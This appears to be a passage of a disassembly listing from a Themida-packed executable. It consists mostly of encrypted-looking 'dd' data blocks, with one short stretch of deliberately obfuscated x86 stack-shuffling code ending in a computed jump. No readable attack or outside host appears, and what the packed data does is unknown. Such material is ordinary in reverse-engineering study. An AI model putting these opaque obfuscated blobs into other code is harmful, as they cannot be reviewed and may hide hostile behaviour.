		dd 0C52514D1h, 4F84EF9Bh, 0D0050A86h, 0ECA53C28h, 33A1A3E4h
		dd 6AD5E0C9h, 0D0B9283Ch, 63987717h, 0A2ECFD90h, 787206Dh
		dd 3A46D308h, 9A119251h, 1B415C0Dh, 0ECE3E073h,	24B75833h
		dd 0D4937C13h, 20D2B5BDh, 0E8B1C934h, 3F820274h, 770A75A0h
		dd 4AC5C992h, 53BCD28Bh, 0BBB84B1Eh, 0E4A36C22h, 76AB642Bh
		dd 516DA5E5h, 147FC035h, 0F9849C81h, 38569C7Bh,	53D4BD24h
		dd 0CEBE6738h, 785E6F2h, 6D00D308h, 90DD325Ch, 437897F7h
		dd 2C1AAB6h, 0BDF88DFAh, 0E246C73Bh, 189414E1h,	3A458D20h
		dd 513DF6EDh, 731A2BBEh, 0BEC6DD9Ch, 3BBE1EC9h,	371CAFBAh
		dd 0F6B59EAAh, 8CC14E3Dh, 0AFB726B9h, 3BBE1ED4h, 1CD5949Fh
		dd 0F0C9F70h, 0DE315F18h, 0FD543A4Bh, 0F868C38Eh, 6E54FE90h
		dd 0ACD108A2h, 5E17D641h, 0D8ABE02Fh, 0B8396045h, 9F58769Eh
		dd 718215E0h, 7F90FD1Ch, 4B37DF14h, 0CC434B96h,	67A8E67Fh
		dd 7A9FEFA8h, 5D92FD12h, 8512F78Ah, 0CDD59479h,	3BBDE6F2h
		dd 0D069B6C1h, 531C51BEh, 0D89DD23Dh, 5C32BD24h, 24DDF4B3h
		dd 92F5A56Ah, 603BBDE6h, 4DDCDF1Ah, 0C4CF67F6h,	53E62963h
		dd 3ED1BD56h, 8B707C09h, 0FCF7C4CCh, 0CBCC3BBDh, 858D4CC3h
		dd 3BBDFD02h, 0BE0B7681h, 6FA46B25h, 2EEDD6E2h,	0FC780F17h
		dd 49423BBDh, 26BE91C6h, 1119881Bh, 3BBDFCA6h, 0B8916DEEh
		dd 0BEC0C7CFh, 0B8C33BBDh, 275F8D8Fh, 444B4C94h, 9C7E5A0Dh
		dd 5FCA61EAh, 9098572Ah, 3BBD67F7h, 0C10E7984h,	0F31C720Bh
		dd 514049A6h, 5CB3D992h, 7C525AC9h, 8B49F178h, 0F1AAC180h
		dd 6D40759Ah, 0FFCBF744h, 0BB4E2E66h, 0DC29E6AAh, 8DC24D43h
		dd 4B0AF700h, 45B8F43h,	0BEF3FE50h, 67B2DE97h, 467BE629h
		dd 0B80E073h, 5147E06Ch, 0DC1AE2D0h, 7D355EB1h,	0CFA43752h
		dd 920DFC6h, 589DEAF2h,	0D3DE47E0h, 750EE040h, 2E3949F2h
		dd 0B15E30F9h, 0AB0A0E32h, 783FE4EBh, 4DBh, 95E22D64h
		dd 327F90FCh, 0D11EF199h, 6BB85738h, 754BBD2h, 3D509E17h
		dd 9FEC85D2h, 68A2370h,	6B23BC09h, 2E7D57A4h, 0F8E96126h
		dd 6F45224Dh, 1C0A5AEh,	0F16C6DF9h, 588D9849h, 0F16D4E40h
		dd 548DA94Dh, 0AEEC453Dh, 60E2524h, 4DF17581h, 9BAC3902h
		dd 32D8824Ah, 793234C7h, 84000000h, 0DF5FB823h,	0E4955847h
		dd 0BB1865AAh, 0FD05C4B1h, 47DF5FC2h, 441B28F1h, 0FF9DB5DBh
		dd 0F8965F94h, 636DCA17h, 8B7BF7Eh, 0BB47DFA4h,	0DCB27BB0h
		dd 555D7433h, 47DFA432h, 0A365222Ah, 0B1647DFh,	0F6197273h
		dd 0F083EEC1h, 0A78C96F3h, 0A3CBE0E8h, 0EDF847DFh, 914FAD2Eh
		dd 0A61C0EA7h, 75162E13h, 6647E061h, 0AEB8677Ah, 0B1FA02C1h
		dd 0D247DFE1h, 0B2E37AC7h, 4D000000h, 1C0A5AEh,	0F17BF5F9h
		dd 0D0051049h, 3E8B8407h, 2EEDD4E1h, 0F2C204ADh, 0B9EF116h
		dd 666E859Ch, 4DF1F721h, 64C45762h, 4DF1F71Fh, 0C245964h
		dd 4DF1F680h, 711AC7E3h, 0A93CD3B8h, 518A443Ch,	6B91DBh
		dd 0AEE30000h, 44FDBCA1h, 0C433C649h, 0DF5FCBBCh, 0EEADB847h
		dd 82B75835h, 6E371CAFh, 7F90FC1Dh, 0BF0C774Ah,	0F70747C8h
		dd 861138EFh, 3D9E0906h, 552ABD52h, 9AA26148h, 47E01761h
		dd 0E728621Bh, 16672028h, 91447E0h, 0EE232E76h,	0E056B5D6h
		dd 0A73A2647h, 0C7866B78h, 7B94F7B0h, 80E07346h, 47E0577Bh
		dd 4BC4C881h, 186570B8h, 0F31C7262h, 72151D34h,	1147DF5Fh
		dd 76B08048h, 46B1D203h, 8905CEB3h, 89423986h, 937C1306h
		dd 8D20F328h, 3C2AFB8h,	0F20493FBh, 28E7F249h, 0D09526A7h
		dd 0D467534Dh, 59B4D7EFh, 233F4DF2h, 18CFC7BEh,	2F1C24AEh
		dd 6E000000h, 1C0A5AEh,	0F17ECDF9h, 33581149h, 0F60149DCh
		dd 6F182037h, 0C4DF180h, 71896E01h, 4DF1811Ah, 6D24BDD9h
		dd 24AEDF15h, 0F0C2h, 1C721400h, 151D34F3h, 47DF5F72h
		dd 0DDAAB211h, 9E47DF5Fh, 0B0952893h, 1C73A6E7h, 80EBBEF3h
		dd 30C824Bh, 62252D44h,	2147DF5Fh, 0D59E8316h, 120956B9h
		dd 0EBAA0B91h, 9427CB8Dh, 0DFCC3734h, 460B8347h, 4742DCB4h
		dd 0B5026D4Fh, 689D721Ch, 24E3D2DBh, 0F24D3A1Ch, 51F57649h
		dd 0E2F7A516h, 0DF305CBDh, 0FC44D7AAh, 3E47A4F1h, 6A819857h
		dd 0F1E92562h, 0B84B564Dh, 48CC358h, 0D695A050h, 529F701Dh
		dd 58B445Bh, 5202D50Ah,	47E58435h, 0CC202AB5h, 680016B4h
		dd 7FEA2567h, 5DB2DBECh, 0BF6A4CDEh, 1AE186EDh,	22Fh, 0E936D9B8h
		dd 86D33C50h, 25729DEDh, 0BF0C038Ch, 5BA86726h,	0E9A44A6Bh
		dd 4B40D926h, 0B2DE77C4h, 1777105Dh, 82D1ABF8h,	0F8EC0D7Ah
		dd 0BB916E4Dh, 0A7F41B72h, 428F800Eh, 57FA924Bh, 50D49F22h
		dd 66F964FEh, 0F5FD1438h, 47DF5F92h, 0FD8A92F1h, 7E47DF5Fh
		dd 0A0750873h, 0E3EBAA97h, 49F17EE3h, 957A1112h, 0DDB26B2Ah
		dd 972AFD32h, 80F19AB2h, 0E6024DF1h, 0DF3C94FBh, 0C37C24AEh
		dd 0B0B245CAh, 0CDh, 8D8208C1h,	1C72CCFAh, 98F5BEF3h, 0B737B877h
		dd 2D913FB6h, 84AB9023h, 36D9B46Dh, 0E0340186h,	0E4778247h
		dd 0E02EE784h, 947B1347h, 2FE0AE47h, 7D646DFAh,	28A0B6BEh
		dd 0FC0749F2h, 70F263Dh, 4DF23180h, 3F48F803h, 734DF232h
		dd 0EDC0F51Ah, 0BAB74A55h, 0AE6D545Dh, 4D418A6h, 0E5A4AF50h
		dd 19AC632Ch, 739CF1AAh, 0F008D26h, 0BFAF9090h,	763DE2EDh
		dd 133h, 0ED3AD5BCh, 8AD73854h,	297699F1h, 0C310FF90h
		dd 5FAC632Ah, 0E5A8466Fh, 4744DD2Ah, 0AEE27BC8h, 137B1461h
		dd 86D5AFFCh, 0F8ED097Eh, 0C79D7A4Dh, 92F5FD14h, 0F147DF5Fh
		dd 6719EF0h, 0E42B6273h, 81060E25h, 247DF5Fh, 4C818E01h
		dd 7E7B0E79h, 1966A9E5h, 315B1463h, 43D6A9DEh, 0CFBD5C32h
		dd 5FCA454Ah, 0DF98BFF4h, 5C2F64ABh, 39D6B8C9h,	9F868FECh
		dd 8010C9E0h, 0FF9CFC8Fh, 0E449F6D9h, 0B3DBA4D9h, 18760F5Ch
		dd 1266E439h, 13AAA04Ch, 7D78A11Dh, 0B7D637C0h,	0E5502358h
		dd 0CB0498B0h, 622E1F0Eh, 9BE778ADh, 87E65B97h,	9E1D6DCEh
		dd 0EE8DF196h, 1C879278h, 8E533FE7h, 3898BE8Bh,	38A32B11h
		dd 721AD30Ah, 295689Dh,	0CEC02BB6h, 0B65934EDh,	89FEAE81h
		dd 0FA78EF30h, 9E3784EFh, 21EA1FF0h, 4568E36Eh,	0B4A9008Eh
		dd 806C1449h, 49088661h, 0D1D97B87h, 78EE81B6h,	0FA91BAC5h
		dd 295E6651h, 5A78EF58h, 2C79E44Fh, 0F7C35h, 0F397F8CBh
		dd 8114E71Ch, 0BCF11E70h, 12F5h, 0FD145F00h, 0DF5F92F5h
		dd 85E6F147h, 0FED10609h, 721C0A6Bh, 0F2BBF01Fh, 753E739Ch
		dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
		dd 8D568B84h, 0D4DB10FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	1B78h
		mov	[esp], edx
		push	2B0Ah
		mov	[esp], ebp
		push	esi
		push	54492769h
		pop	esi
		xor	esi, 5250A50Ch
		push	esi
		pop	edx
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, 2C891AECh
		add	ebx, ebp
		sub	ebx, 2C891AECh
		mov	[ebx], edx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 0Ch
; ---------------------------------------------------------------------------
		add	ah, 80h


loc_5F4A5F:				; CODE XREF: Themida_:loc_5F3CF4j
		mov	eax, 6198F0Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 66835DD8h, 18754A8Bh, 24945DA7h, 30134987h, 1D46C1AFh
		dd 1DBA688Eh, 36C5E3C0h, 606BC3BAh, 3B2B8DAAh, 627DC433h
		dd 1ADC996Bh, 6DD01E84h, 7EE03570h, 259CFA73h, 47F614A6h
		dd 6CD8C0ABh, 11C8CC96h, 61010239h, 3276A2Eh, 82C4447h
		dd 7BD63997h, 6E8h, 977F4400h, 0F5BB2F91h, 8E958h, 0BC410000h
		dd 0A859BC8Dh, 0C0817174h, 5EECh, 0C8C0Fh, 800F0000h, 6
		dd 850Fh, 680000h, 0F000000h, 28Bh, 5FDA8A00h, 148BD88Bh
		dd 0D8BF0F38h, 3975F281h, 8B0F1240h, 6,	0A954E681h, 0F2817C31h
		dd 45D60E76h, 0C281DA8Bh, 5F73BB60h, 666052FCh,	0EF81CB8Bh
		dd 74115293h, 38048F61h, 6A7DBE66h, 81CA8B66h, 921E67EFh
		dd 11E844h, 563E0000h, 3B703CEFh, 4751861Dh, 0A6A4FDC0h
		dd 0E9164D46h, 0Ch, 0E12627DBh,	36CDCFh, 6AA8FF98h, 63C7815Eh
		dd 6644921Eh, 81C39CB9h, 0FFA1D0FFh, 7F850FFFh,	8BFFFFFFh
		dd 12E8DAh, 82F10000h, 896B8677h, 0CB262148h, 2C900B02h
		dd 0C3F21EE5h, 12E9h, 297ED100h, 0D1FCAC18h, 0A7DA7B2Fh
		dd 0AAD7D37Ch, 5BD2CA6Eh, 5FC381F5h, 0F0000D8h,	38Fh, 0D2BF0F00h
		dd 35ED68h, 0FE800h, 0A98B0000h, 0A948819Ch, 466CD383h
		dd 3462C8BBh, 88C4BAE8h, 595F7BFDh, 0B70F33FFh,	0BA665EFEh
		dd 0EE81A606h, 2856949Fh, 81C68B66h, 0BE1BADF6h, 0BAF6814Ch
		dd 816EC19Ah, 3586DDF7h, 8A56563Eh, 38F5AE3h, 7A40EB81h
		dd 8E91086h, 40000000h,	215B6897h, 8104C7B7h, 867A3CC3h
		dd 0A864BF10h, 0E9833ED8h, 0AD850F01h, 0B6FFFFFFh, 0ECE965h
		dd 0
		dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h,	10ED7C90h
		dd 7C90h, 276F2h, 5 dup(0)
		dd 0ADA00000h, 7C80h, 2Bh dup(0)
		dd 60000h, 0ED140000h, 0A2A31611h, 66113211h, 6681BA1Ah
		dd 243215h, 69D1E9AAh, 0E570FBA2h, 74A733A8h, 6F313213h
		dd 476B8F96h, 12113407h, 0EDDB620Ch, 62558AD5h,	0E3AB3215h
		dd 60033920h, 0CB81AF98h, 0B5BB3401h, 0DBA16A4Eh, 6003135Ch
		dd 369F4615h, 62558A46h, 0E3AB3215h, 60033920h,	0CF70AF98h
		dd 0B5BB3401h, 6ECB6A4Eh, 0C1113215h, 4F449CBAh, 62040DBh
		dd 96A35444h, 0D0497FDEh, 0EFDF531Ch, 0EDBCBBD2h, 0A2A31629h
		dd 66113211h, 66883DFCh, 9341E115h, 0E1AFDB46h,	9D050A80h
		dd 58F11D2Ah, 0F7388F96h, 6922340Ch, 66115591h,	0EF875215h
		dd 66443219h, 662235FCh, 0B4C8B615h, 0D26F11E5h, 969DB342h
		dd 3912BF08h, 0EB94BF74h, 698E2B54h, 66442A90h,	6631DB15h
		dd 0BEAB3215h, 0B721F24h, 8462A49Bh, 0F75E9F54h, 0A6771D13h
		dd 658CD37h, 6AC12EADh,	0BEA9540Eh, 0DB94BF74h,	8F8E2B54h
		dd 6644321Ch, 874C518Fh, 0B00CF912h, 658CD06h, 7BC69A4h
		dd 73E3B7D3h, 8F473407h, 66883204h, 3167D2D4h, 0AEB67FB9h
		dd 0D5D9C000h, 935ACE42h, 0DE165A2Fh, 6DCBAEBDh, 96113215h
		dd 9EF42C92h, 0AB18B44Bh, 0D3DD8860h, 60030314h, 98035475h
		dd 664426FDh, 3C0C7015h, 1587A738h, 0D8DF6799h,	338B4BDBh
		dd 0FA79679Dh, 3C4F608Eh, 1C0DBF74h, 69422797h,	66223598h
		dd 679E3D15h, 9A883215h, 694CDECh, 652FD294h, 0E7775943h
		dd 7A0C4DFh, 66DDB79Ch,	423407h, 0B19ACC9Eh, 60615274h
		dd 0A0443215h, 5FA6E050h, 7CDB8C9h, 6AA5B7D2h, 66443407h
		dd 0E82D3215h, 66113214h, 0A70DF4E9h, 23422000h, 0D92DC775h
		dd 697153EEh, 0EE9F4A2h, 0E8365B7Ch, 9FA95475h,	97A4CD74h
		dd 8F8E2002h, 66443206h, 0FE71DC12h, 0A4F9CDCDh, 0A9FA097Ah
		dd 0A2135941h, 0EBC6EF52h, 742A7A90h, 503E5213h, 79CB973h
		dd 0EFDEE2EAh, 74220790h, 0DA5213h, 71BC09Eh, 73E3B7D3h
		dd 6523407h, 0C47E394h,	96C52F37h, 59003FA2h, 0D4F5A74h
		dd 0EDE8AE72h, 6650DBDFh, 45E73215h, 0F4A8813Fh, 6FC0D39Ch
		dd 0AFAD9598h, 0DBB07793h, 99700C40h, 749FC3A0h, 0E3C9C713h
		dd 6030095Dh, 66113DFCh, 6104D715h, 85CAE2D9h, 523478E5h
		dd 44947529h, 8EE8E2EAh, 6644321Ch, 8B4F810Bh, 7C077ABDh
		dd 126DB23Bh, 0C5148C4Ch, 0EF4330B2h, 7F805690h, 669BDB13h
		dd 84743215h, 0C07C2A8Eh, 97E421FDh, 605FBD0Fh,	6F2AC990h
		dd 0E3E4CEAEh, 600327D4h, 6686DB41h, 71923215h,	0F10F8E74h
		dd 0BD35533Ah, 429CD187h, 42C1B7Dh, 0DA52FBh, 77442ABh
		dd 717987EAh, 0E34B3407h, 6622321Fh, 661137FCh,	0B2829415h
		dd 0E3C93AA3h, 6030095Dh, 6603DB75h, 470E3215h,	0EBEC6A61h
		dd 8DE38BC5h, 0BB60C265h, 78B4AF6Bh, 794B973h, 8FF2CDE9h
		dd 66113218h, 0F07B18F6h, 40385EA4h, 5A8E6AEDh,	0E94BB0Ah
		dd 68E2B84h, 6997B973h,	0A043E0A2h, 7404F390h, 76617713h
		dd 36443215h, 0C6832A31h, 9ED2CB4Eh, 0F54BE8DAh, 0E3EA921h
		dd 0BC420AD7h, 6610B11Ah, 997D3215h, 7453C3A0h,	6CA43D13h
		dd 8F113215h, 66883210h, 0FF84F154h, 2EA7BFD8h,	8F17202Eh
		dd 6688321Ch, 4FB62E30h, 81CFE0B1h, 9EC1CD3Bh, 0F7E4B79Ch
		dd 61AD340Ch, 0F7223215h, 9CB108D9h, 0DB0B8C77h, 60563CFCh
		dd 99A73D15h, 8F113215h, 66883210h, 7F1AE737h, 0A7A7F4C4h
		dd 23172000h, 6689B31Ah, 0EBC3215h, 9C024C93h, 661DB81Ah
		dd 69E83215h, 6644329Eh, 0EF9B5415h, 61F853DFh,	6B883215h
		dd 0E65B2874h, 0D3DDA16Fh, 600325E4h, 8F4EB875h, 66443213h
		dd 0B63D1842h, 8F70F76Eh, 66883201h, 0FD389DF0h, 0BCE2DC37h
		dd 0ED9ACE6Bh, 273D099Dh, 0BA2942ABh, 5D6AB798h, 99E43407h
		dd 6684DBC5h, 1CAC3215h, 478F563Eh, 0E2545A44h,	0E301960Fh
		dd 605DA365h, 663BB61Ah, 72F83215h, 15883215h, 111842D2h
		dd 1FAE85A5h, 52104038h, 569CBD54h, 0A01915CDh,	7437F390h
		dd 0E01E7E13h, 66883218h, 66C93D75h, 223215h, 0F9FCF994h
		dd 0B64B5A74h, 724D233h, 9797CDECh, 69172002h, 6688339Bh
		dd 0E3C9CE15h, 6030095Dh, 9AC1CDE0h, 0F7FCB79Ch, 0E14B340Ch
		dd 66223219h, 6617B01Ah, 0EF873215h, 66443215h,	6622F9FCh
		dd 0E3D7CB15h, 609A27D4h, 6643DB47h, 58DF3215h,	171FFED0h
		dd 6681DB06h, 5AA43215h, 59C8066h, 0ED59567h, 0DAC2D618h
		dd 0E7F1CDECh, 8F242025h, 6611321Fh, 0ACBBEF4h,	0F5DE7683h
		dd 0E3AFDEA8h, 6003095Dh, 9E58CDE9h, 0F734B79Ch, 6DA340Ch
		dd 0F1F1B373h, 76033D46h, 8F443215h, 6622321Eh,	4AA50FC8h
		dd 8A1DD1DCh, 7926BE7h,	73E3B7D3h, 9F433407h, 2AC27A7Dh
		dd 664DDBB3h, 0CA6F3215h, 41AF3CF6h, 99325806h,	7474B3A0h
		dd 662CDB13h, 6C63215h,	54E0CAC3h, 73D69FF2h, 48D039C1h
		dd 5D59B798h, 6C613407h, 47443215h, 0D369A6Ch, 0BFCBDF82h
		dd 9E58CDCDh, 0F730B79Ch, 6FCB340Ch, 0E2113215h, 5EC2988Eh
		dd 2D191D36h, 73E3B7D3h, 8F433407h, 6688321Dh, 62BEB8C2h
		dd 2458ABE2h, 24A5D87Dh, 6698DBE8h, 59713215h, 0D08B272Ch
		dd 0EF42279Eh, 0C15829F5h, 0D3BBB167h, 603025E4h, 2E94BFECh
		dd 68E202Eh, 8FFDF395h,	6622321Eh, 0A37CC9E7h, 0B27E812Ch
		dd 7F0FD47h, 91953D75h,	66933D75h, 30883215h, 9925534Dh
		dd 6636DBC5h, 837F3215h, 0B1A5CEDDh, 710E4141h,	87EED470h
		dd 9EDD9DA0h, 0EF71499Bh, 746DA390h, 6AA43D13h,	69113215h
		dd 6688349Eh, 66CD3D15h, 0A0223215h, 7404F390h,	0E84513h
		dd 0ED6EF194h, 66223AFCh, 523B5815h, 4B248545h,	0C52C5312h
		dd 6D1A5BDh, 7E8EA9Fh, 55D587EAh, 69AD3407h, 4E223215h
		dd 2B7B2EE8h, 0CAB222E7h, 0B8092CB3h, 0E3AFEB02h, 6003095Dh
		dd 66883CFCh, 3D8DF15h,	1CEE6388h, 6CE5A812h, 995F91BFh
		dd 6656DBC5h, 91823215h, 0DCF8B470h, 9973D1Ch, 0B112A4ABh
		dd 27496CC2h, 4C20B79Ch, 0E83407h, 0BAA7D094h, 743CE75h
		dd 73D0B7D3h, 93DA3407h, 0BB75257Dh, 6EA33D9Fh,	69113215h
		dd 6688309Bh, 99255215h, 7435C3A0h, 6602DB13h, 0BD163215h
		dd 0BFCB0E29h, 0B1B26E6Eh, 669157B4h, 0FC2E0297h, 2EC1BF58h
		dd 8F24202Eh, 6611321Ch, 13438D0Ch, 0D8027B7Dh,	8FF2CDBAh
		dd 6611321Eh, 928C33F7h, 0C9CCF59h, 0EF82D3E4h,	74217790h
		dd 0E34ECA13h, 605627D4h, 5F4ACB43h, 8FC52D78h,	66883213h
		dd 0F5C399E8h, 61CBD40Dh, 0C0113215h, 91EFA111h, 0D3BB73B7h
		dd 60300314h, 66113DFCh, 1870AE15h, 85CF8667h, 0DA77F94Ah
		dd 5F53A2D4h, 668839FCh, 980C3215h, 344F0405h, 9092045Bh
		dd 0E4F2B798h, 69243400h, 0D49BFCAAh, 755BFA0h,	0BE035475h
		dd 694CD74h, 66223FFDh,	19240915h, 0B016B14Bh, 0F50358CBh
		dd 0ADA982CDh, 0A1DAB34Ch, 7CFA316h, 5545B79Ch,	69CB3407h
		dd 7B113215h, 0DD8FA32Ah, 9B6249CEh, 0DF40A52Fh, 0E3D70AD6h
		dd 609A27D4h, 664EDB52h, 0DF7F3215h, 48737801h,	0B219682Fh
		dd 0BA54487Dh, 662ADB94h, 84713215h, 397E1E3Eh,	0D3BB7B31h
		dd 603025E4h, 0E39CCBEDh, 609A095Dh, 664ABF1Ah,	0E7423215h
		dd 0ACC71EFAh, 66033D32h, 7443215h, 42E2EAh, 8E3745ABh
		dd 66883204h, 433EC85Dh, 0D44D9197h, 0F464A7F7h, 0C75C69D8h
		dd 0A9F33DD1h, 0E3AB534Ah, 60032CFCh, 6689B81Ah, 0A0B83215h
		dd 7437F390h, 68F87513h
		dd 4883215h, 180D021Eh,	0EED91D44h, 7A62941Eh, 0D36A5A15h
		dd 8F24B81Ah, 66223210h, 307AC7B8h, 0A5035407h,	97F1CD74h
		dd 6242002h, 6611B51Ah,	0E7D93215h, 4183FADBh, 0EB43684Dh
		dd 742A7A90h, 0B677CA13h, 278575h, 751CDAEh, 0F785B79Ch
		dd 6961340Ch, 0BE443215h, 0FC9F7BF4h, 0AD3CDA7h, 89BBDCB2h
		dd 0E383AC26h, 6030263Ch, 6611326Dh, 668834FCh,	0A9F80915h
		dd 0E5685FEBh, 74305FA8h, 0E2873213h, 66442B04h, 662EB91Ah
		dd 0EE1E3215h, 66883213h, 6644B21Ah, 0E3E43215h, 600327D4h
		dd 6F053D59h, 6443215h,	0C8D4B373h, 7908108h, 0BC94DB7Dh
		dd 6BCF3DCCh, 6223215h,	0CF50C2ADh, 66083D6Eh, 7443215h
		dd 71D387EAh, 0EBE83407h, 74B37A90h, 6654DB13h,	8E103215h
		dd 0B3884AEAh, 36DA7556h, 2BE0E0B0h, 0B6DD0369h, 6FF95275h
		dd 0A9883215h, 0C6FCFDB3h, 7BC1E3DDh, 661DDB4Ah, 0B5DC3215h
		dd 0E54F61FAh, 63052260h, 0D1705F84h, 0E30153F6h, 605DA395h
		dd 6628DB75h, 0E8843215h, 0A7533BDBh, 0B3D80F20h, 0E3E4CB74h
		dd 600327D4h, 69073D59h, 8F443215h, 6622321Fh, 0DEBDE62Dh
		dd 9F76F102h, 69AD035Dh, 0E7223215h, 0B98C40Bh,	5E7FAF8Eh
		dd 88921CD3h, 0A84AA179h, 6CC46CBh, 66883DFCh, 0D9159C15h
		dd 3A52F566h, 0EAA68262h, 67FA1F6Ch, 330AC394h,	9F4304D3h
		dd 71E087EAh, 0EB713407h, 747F7A90h, 8F42CB13h,	6611321Fh
		dd 0E271F04Fh, 82013ACBh, 0A9985AD4h, 7483F20h,	0EF71E2EAh
		dd 7FD5B690h, 0E72DCE13h, 66113205h, 668839FCh,	90CABF15h
		dd 0C0E1CDACh, 9F31C3EEh, 7349B7D3h, 6083407h, 0ED786375h
		dd 63F953E6h, 58883215h, 0EA45A877h, 77CE49Eh, 0E7930D7Dh
		dd 6680DBA2h, 10C13215h, 189B75E5h, 0D3EE8354h,	609A25E4h
		dd 664426FCh, 3DFB1D15h, 5551CD55h, 0BEC66E0Ch,	18DBF370h
		dd 5680A6FAh, 2E94BF93h, 698E202Eh, 6644289Eh, 7425215h
		dd 661122FDh, 0B41DF315h, 75952A21h, 0BE0B479h,	0CE33D33h
		dd 99E96956h, 7BC73DC5h, 6223215h, 661139FDh, 0F9046F15h
		dd 0F53A4946h, 270E5E54h, 6614DB4Fh, 52D13215h,	7BABB8Ch
		dd 0F7AAB79Ch, 71340Ch,	77DFA9Eh, 7385B7D3h, 66E3407h
		dd 43F70BADh, 7EE05354h, 8FF71D55h, 6622321Fh, 0DD5A46BFh
		dd 9A9B13CAh, 0D3BB8A5Bh, 603025E4h, 661123FCh,	4429B815h
		dd 0E1F05CB9h, 0AEAFA247h, 0A58A7901h, 0E30527B7h, 6056095Dh
		dd 6624BB1Ah, 31713215h, 7E9524Bh, 0EA4BE2EAh, 66223214h
		dd 0EE94BBECh, 68E2B84h, 47FC5443h, 31916CD5h, 0A794F474h
		dd 208E2000h, 0FFB1B275h, 2EEDB373h, 72795343h,	632EC13h
		dd 91FF5444h, 99436958h, 7406C3A0h, 0A9095213h,	277EDE8Ah
		dd 643CC9Eh, 25A1EB94h,	0C0317A2Ah, 72EADE8h, 5D6AB798h
		dd 0EB1E3407h, 66883214h, 694CDE9h, 0E3AB53E9h,	6008A385h
		dd 6689B81Ah, 0A0B83215h, 7437F390h, 6717513h, 0D03EC2AFh
		dd 725527Eh, 9C118C73h,	766B5A74h, 0D0E8B3C9h, 1B84B232h
		dd 9797CD74h, 6172002h,	668839FDh, 0A0F615h, 31E5122Ah
		dd 26612955h, 6688BA1Ah, 61D3215h, 6622B11Ah, 14A63215h
		dd 0E3055374h, 6056095Dh, 662238FCh, 34567115h,	0C25A9745h
		dd 99754E58h, 68CBCBC5h, 27113215h, 3488827Fh, 9FCD2856h
		dd 0E47C2E24h, 0FE94BBFBh, 68E2B84h, 6646BD1Ah,	0B1A93215h
		dd 0E3D753E0h, 609A27D4h, 0CA2CCA52h, 93CDB59Bh, 71E087EAh
		dd 6C613407h, 0AA443215h, 0C7ACCC6Bh, 0E391E2ABh, 2E0DBFA0h
		dd 9F42202Eh, 77CBE2EAh, 39113215h, 6840B5EFh, 59A7340h
		dd 22AE6647h, 0A4B2D53Dh, 0F714B79Ch, 9324340Ch, 0A7A7F474h
		dd 21172000h, 0C15A5AECh, 99B1E68Fh, 7435C3A0h,	699D3D13h
		dd 6883215h, 8FF7DD95h,	66223210h, 63134790h, 0E305535Bh
		dd 6056095Dh, 0B6DDCEEDh, 6AF9CE75h, 0A7883215h, 0F4D7B37Ch
		dd 0BB788CDEh, 8F25B28Ch, 66883213h, 1BBCF48h, 77BBE36h
		dd 0F7B1B79Ch, 8F70340Ch, 6644321Eh, 0FE32326Bh, 2B89FCFAh
		dd 0A029643Dh, 7451F390h, 0D2427513h, 627953C8h, 6932F32Ch
		dd 66442796h, 6632DB15h, 4C293215h, 0BA7D96EFh,	914D8021h
		dd 4004A011h, 0D3EE09E7h, 609A25E4h, 64C73D75h,	34223215h
		dd 0DCF3B24Eh, 5D3B5274h, 0E3C953EDh, 6030095Dh, 6617DB75h
		dd 58853215h, 0AF1EF0C0h, 4EE5B344h, 3F378F19h,	658CD74h
		dd 0EF25F09Eh, 7FB39690h, 75953D13h, 8F883215h,	6644321Bh
		dd 0FAB17999h, 14541446h, 7F35DCFCh, 0ED2410E3h, 0DBA153D6h
		dd 60032534h, 0A30D3D15h, 6443215h, 66223BFDh, 0D7DC5215h
		dd 2AFEFBECh, 0E44BA752h, 66223215h, 23F0B34Fh,	7F8292Dh
		dd 7385B7D3h, 6653407h,	77F841A4h, 0AF883215h, 4D648196h
		dd 2A8FE3FFh, 4F54E5B1h, 2633CC60h, 6654DB74h, 15023215h
		dd 723BF843h, 3C340A78h, 8E4F8896h, 14A044Bh, 93F14038h
		dd 717987EAh, 63AD3407h, 42223215h, 0E2C88C7Dh,	6686B91Ah
		dd 6FAD3215h, 0C5223215h, 994BA29Ch, 17A715EFh,	5D0CB798h
		dd 99DE3407h, 661EDBC5h, 9E533215h, 0D536C522h,	32C05914h
		dd 0ACCC57C9h, 0CE0DBB7Ah, 8F422B84h, 6622321Fh, 4B518B34h
		dd 1D75F346h, 77AD20E5h, 0F5223215h, 0FA7BB7AAh, 42EEE98Dh
		dd 0A638F4B3h, 0F12965CDh, 73D0B7D3h, 6CF3407h,	505103AEh
		dd 2CF3B272h, 679A3D74h, 9E883215h, 4FF7837Dh, 0D3DDC79Bh
		dd 600325E4h, 668DDA75h, 8BAC3215h, 0EC33E860h,	0EB706AC8h
		dd 74B37A90h, 6655DB13h, 0FC293215h, 0D6DE9C25h, 7E12916Ah
		dd 0B304E352h, 998C0DE1h, 357152C5h, 749B84Ch, 792D895h
		dd 0F78EB79Ch, 61F8340Ch, 0A0883215h, 7CC58CF5h, 0E3E4462Ah
		dd 600327D4h, 6699DB56h, 122A3215h, 84154F7Ah, 5EBCB73Dh
		dd 4EC1C069h, 0E6AE7A7h, 0A65478B2h, 0D3EECEEDh, 609A25E4h
		dd 2EC1BFEDh, 624202Eh,	0E11EC39Fh, 6688321Bh, 66443BFCh
		dd 0BC2EC615h, 4E500537h, 9FE968EFh, 6FADE2EAh,	44223215h
		dd 29AB4D64h, 9500614Bh, 0F7F4B79Ch, 74CB340Ch,	0DE113215h
		dd 6F584F8Bh, 23728A70h, 6BD2AE57h, 0B2D11AE2h,	6686DB21h
		dd 59E83215h, 6E1D8C43h, 0E980C5F9h, 0AC54B1F1h, 7385B7D3h
		dd 696E3407h, 66113A9Eh, 745215h, 3350E194h, 0AC95A74h
		dd 72F8C973h, 22883215h, 697AD5A8h, 2BE9E5EFh, 462C835Ch
